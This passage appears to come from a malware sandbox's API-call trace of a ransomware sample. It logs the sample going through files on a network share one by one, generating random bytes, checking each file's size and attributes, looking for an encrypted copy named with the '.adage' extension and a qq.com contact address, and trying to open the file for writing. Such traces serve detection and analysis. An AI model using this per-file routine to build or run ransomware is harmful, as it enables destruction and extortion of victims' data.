dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.177] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.177] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gh4zJ.pps" (normalized: "\\\\192.168.0.1\\documents\\gh4zj.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.192] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=74987) returned 1 [0045.192] CloseHandle (hObject=0x14c) returned 1 [0045.192] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gh4zJ.pps" (normalized: "\\\\192.168.0.1\\documents\\gh4zj.pps")) returned 0x80 [0045.193] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gh4zJ.pps.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\gh4zj.pps.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.193] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gh4zJ.pps" (normalized: "\\\\192.168.0.1\\documents\\gh4zj.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.229] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.229] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\evMqhpDEt7CXv.mp3" (normalized: "\\\\192.168.0.1\\documents\\evmqhpdet7cxv.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.233] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=36656) returned 1 [0045.233] CloseHandle (hObject=0x14c) returned 1 [0045.233] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\evMqhpDEt7CXv.mp3" (normalized: "\\\\192.168.0.1\\documents\\evmqhpdet7cxv.mp3")) returned 0x80 [0045.233] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\evMqhpDEt7CXv.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\evmqhpdet7cxv.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.233] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\evMqhpDEt7CXv.mp3" (normalized: "\\\\192.168.0.1\\documents\\evmqhpdet7cxv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.416] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.416] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ofYpMQKf1RjCMx.wav" (normalized: "\\\\192.168.0.1\\documents\\ofypmqkf1rjcmx.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.452] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=80609) returned 1 [0045.452] CloseHandle (hObject=0x14c) returned 1 [0045.452] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ofYpMQKf1RjCMx.wav" (normalized: "\\\\192.168.0.1\\documents\\ofypmqkf1rjcmx.wav")) returned 0x80 [0045.453] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ofYpMQKf1RjCMx.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ofypmqkf1rjcmx.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.453] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ofYpMQKf1RjCMx.wav" (normalized: "\\\\192.168.0.1\\documents\\ofypmqkf1rjcmx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.563] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.563] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\umVoob.csv" (normalized: "\\\\192.168.0.1\\documents\\umvoob.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.564] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=48195) returned 1 [0045.564] CloseHandle (hObject=0x14c) returned 1 [0045.565] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\umVoob.csv" (normalized: "\\\\192.168.0.1\\documents\\umvoob.csv")) returned 0x80 [0045.565] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\umVoob.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\umvoob.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.565] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\umVoob.csv" (normalized: "\\\\192.168.0.1\\documents\\umvoob.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.589] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.589] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhwQOJysH9.jpg" (normalized: "\\\\192.168.0.1\\documents\\ahwqojysh9.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.591] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=53741) returned 1 [0045.591] CloseHandle (hObject=0x14c) returned 1 [0045.592] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhwQOJysH9.jpg" (normalized: "\\\\192.168.0.1\\documents\\ahwqojysh9.jpg")) returned 0x80 [0045.592] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhwQOJysH9.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ahwqojysh9.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.592] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhwQOJysH9.jpg" (normalized: "\\\\192.168.0.1\\documents\\ahwqojysh9.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.596] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.596] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6R7qq9DkqNA3WVHMTs.doc" (normalized: "\\\\192.168.0.1\\documents\\6r7qq9dkqna3wvhmts.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.598] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=64848) returned 1 [0045.598] CloseHandle (hObject=0x14c) returned 1 [0045.598] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6R7qq9DkqNA3WVHMTs.doc" (normalized: "\\\\192.168.0.1\\documents\\6r7qq9dkqna3wvhmts.doc")) returned 0x80 [0045.598] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6R7qq9DkqNA3WVHMTs.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\6r7qq9dkqna3wvhmts.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.598] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6R7qq9DkqNA3WVHMTs.doc" (normalized: "\\\\192.168.0.1\\documents\\6r7qq9dkqna3wvhmts.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.602] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.602] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5n4Otxttbgfrkyd1Qv.mp3" (normalized: "\\\\192.168.0.1\\documents\\5n4otxttbgfrkyd1qv.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.603] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=37602) returned 1 [0045.603] CloseHandle (hObject=0x14c) returned 1 [0045.604] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5n4Otxttbgfrkyd1Qv.mp3" (normalized: "\\\\192.168.0.1\\documents\\5n4otxttbgfrkyd1qv.mp3")) returned 0x80 [0045.604] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5n4Otxttbgfrkyd1Qv.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\5n4otxttbgfrkyd1qv.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.604] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5n4Otxttbgfrkyd1Qv.mp3" (normalized: "\\\\192.168.0.1\\documents\\5n4otxttbgfrkyd1qv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.607] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.607] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\B2EjwcG.xls" (normalized: "\\\\192.168.0.1\\documents\\b2ejwcg.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.609] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=87468) returned 1 [0045.609] CloseHandle (hObject=0x14c) returned 1 [0045.609] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\B2EjwcG.xls" (normalized: "\\\\192.168.0.1\\documents\\b2ejwcg.xls")) returned 0x80 [0045.609] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\B2EjwcG.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\b2ejwcg.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.609] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\B2EjwcG.xls" (normalized: "\\\\192.168.0.1\\documents\\b2ejwcg.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.638] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.638] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1WjGsbbxyz9w44lK.jpg" (normalized: "\\\\192.168.0.1\\documents\\1wjgsbbxyz9w44lk.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.640] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=72203) returned 1 [0045.640] CloseHandle (hObject=0x14c) returned 1 [0045.640] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1WjGsbbxyz9w44lK.jpg" (normalized: "\\\\192.168.0.1\\documents\\1wjgsbbxyz9w44lk.jpg")) returned 0x80 [0045.641] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1WjGsbbxyz9w44lK.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\1wjgsbbxyz9w44lk.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.641] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1WjGsbbxyz9w44lK.jpg" (normalized: "\\\\192.168.0.1\\documents\\1wjgsbbxyz9w44lk.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.645] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.645] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7wJ29fsIwS36l.ods" (normalized: "\\\\192.168.0.1\\documents\\7wj29fsiws36l.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.647] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=67126) returned 1 [0045.647] CloseHandle (hObject=0x14c) returned 1 [0045.647] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7wJ29fsIwS36l.ods" (normalized: "\\\\192.168.0.1\\documents\\7wj29fsiws36l.ods")) returned 0x80 [0045.647] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7wJ29fsIwS36l.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\7wj29fsiws36l.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.647] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7wJ29fsIwS36l.ods" (normalized: "\\\\192.168.0.1\\documents\\7wj29fsiws36l.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.651] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.651] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LLAm0.pps" (normalized: "\\\\192.168.0.1\\documents\\llam0.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.652] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=49898) returned 1 [0045.652] CloseHandle (hObject=0x14c) returned 1 [0045.652] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LLAm0.pps" (normalized: "\\\\192.168.0.1\\documents\\llam0.pps")) returned 0x80 [0045.653] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LLAm0.pps.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\llam0.pps.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.653] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LLAm0.pps" (normalized: "\\\\192.168.0.1\\documents\\llam0.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.657] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.657] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EqQ64IKq2Th.pptx" (normalized: "\\\\192.168.0.1\\documents\\eqq64ikq2th.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.659] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=95902) returned 1 [0045.659] CloseHandle (hObject=0x14c) returned 1 [0045.659] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EqQ64IKq2Th.pptx" (normalized: "\\\\192.168.0.1\\documents\\eqq64ikq2th.pptx")) returned 0x80 [0045.659] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EqQ64IKq2Th.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\eqq64ikq2th.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.659] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EqQ64IKq2Th.pptx" (normalized: "\\\\192.168.0.1\\documents\\eqq64ikq2th.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.663] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.663] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kmB0a6WlogU.gif" (normalized: "\\\\192.168.0.1\\documents\\kmb0a6wlogu.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.711] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=62081) returned 1 [0045.711] CloseHandle (hObject=0x14c) returned 1 [0045.711] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kmB0a6WlogU.gif" (normalized: "\\\\192.168.0.1\\documents\\kmb0a6wlogu.gif")) returned 0x80 [0045.712] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kmB0a6WlogU.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kmb0a6wlogu.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.712] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kmB0a6WlogU.gif" (normalized: "\\\\192.168.0.1\\documents\\kmb0a6wlogu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.717] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.717] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pLGCqUlBqdCyIjLjqV.doc" (normalized: "\\\\192.168.0.1\\documents\\plgcqulbqdcyijljqv.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.718] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=91314) returned 1 [0045.718] CloseHandle (hObject=0x14c) returned 1 [0045.718] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pLGCqUlBqdCyIjLjqV.doc" (normalized: "\\\\192.168.0.1\\documents\\plgcqulbqdcyijljqv.doc")) returned 0x80 [0045.719] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pLGCqUlBqdCyIjLjqV.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\plgcqulbqdcyijljqv.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.719] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pLGCqUlBqdCyIjLjqV.doc" (normalized: "\\\\192.168.0.1\\documents\\plgcqulbqdcyijljqv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.788] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.788] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6dEvdGK0.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6devdgk0.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.234] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=64074) returned 1 [0046.235] CloseHandle (hObject=0x14c) returned 1 [0046.235] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6dEvdGK0.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6devdgk0.pptx")) returned 0x80 [0046.240] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6dEvdGK0.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\s6devdgk0.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.241] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6dEvdGK0.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6devdgk0.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.343] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.343] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\les739ApbVb9h5NbQG.png" (normalized: "\\\\192.168.0.1\\documents\\les739apbvb9h5nbqg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.345] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=65282) returned 1 [0046.345] CloseHandle (hObject=0x14c) returned 1 [0046.345] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\les739ApbVb9h5NbQG.png" (normalized: "\\\\192.168.0.1\\documents\\les739apbvb9h5nbqg.png")) returned 0x80 [0046.346] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\les739ApbVb9h5NbQG.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\les739apbvb9h5nbqg.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.346] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\les739ApbVb9h5NbQG.png" (normalized: "\\\\192.168.0.1\\documents\\les739apbvb9h5nbqg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.351] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.351] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NrdJUxDyhDG3y7Oab1mj.flv" (normalized: "\\\\192.168.0.1\\documents\\nrdjuxdyhdg3y7oab1mj.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.354] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=52886) returned 1 [0046.354] CloseHandle (hObject=0x14c) returned 1 [0046.355] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NrdJUxDyhDG3y7Oab1mj.flv" (normalized: "\\\\192.168.0.1\\documents\\nrdjuxdyhdg3y7oab1mj.flv")) returned 0x80 [0046.355] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NrdJUxDyhDG3y7Oab1mj.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nrdjuxdyhdg3y7oab1mj.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.355] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NrdJUxDyhDG3y7Oab1mj.flv" (normalized: "\\\\192.168.0.1\\documents\\nrdjuxdyhdg3y7oab1mj.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.360] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.360] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LYsglM.bmp" (normalized: "\\\\192.168.0.1\\documents\\lysglm.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.361] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=84737) returned 1 [0046.361] CloseHandle (hObject=0x14c) returned 1 [0046.361] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LYsglM.bmp" (normalized: "\\\\192.168.0.1\\documents\\lysglm.bmp")) returned 0x80 [0046.362] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LYsglM.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\lysglm.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.362] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LYsglM.bmp" (normalized: "\\\\192.168.0.1\\documents\\lysglm.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 